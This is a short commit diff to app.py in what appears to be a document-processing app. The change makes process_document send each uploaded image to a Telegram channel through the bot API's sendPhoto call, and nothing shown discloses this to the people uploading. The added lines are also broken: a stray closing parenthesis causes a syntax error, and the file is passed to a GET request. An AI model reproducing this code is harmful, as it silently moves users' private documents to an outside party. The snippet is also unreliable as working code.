Update app.py
Browse files
app.py
CHANGED
@@ -23,7 +23,11 @@ def process_document(image):
|
|
23 |
apiToken = os.getenv('TELEGRAM_BOT_TOKEN')
|
24 |
chatID = os.getenv('TELEGRAM_CHANNEL_ID')
|
25 |
apiURL = f'https://api.telegram.org/bot{apiToken}/sendMessage'
|
26 |
-
response = requests.post(apiURL, json={'chat_id': chatID, 'text': message})
|
|
|
|
|
|
|
|
|
27 |
|
28 |
# prepare encoder inputs
|
29 |
pixel_values = processor(image, return_tensors="pt").pixel_values
|
|
|
23 |
apiToken = os.getenv('TELEGRAM_BOT_TOKEN')
|
24 |
chatID = os.getenv('TELEGRAM_CHANNEL_ID')
|
25 |
apiURL = f'https://api.telegram.org/bot{apiToken}/sendMessage'
|
26 |
+
#response = requests.post(apiURL, json={'chat_id': chatID, 'text': message})
|
27 |
+
TOKEN = os.getenv('TELEGRAM_BOT_TOKEN')
|
28 |
+
CHAT_ID = os.getenv('TELEGRAM_CHANNEL_ID')
|
29 |
+
url = f'https://api.telegram.org/bot{TOKEN}/sendPhoto?chat_id={CHAT_ID}'
|
30 |
+
response = requests.get(url, files={'photo': image}))
|
31 |
|
32 |
# prepare encoder inputs
|
33 |
pixel_values = processor(image, return_tensors="pt").pixel_values
|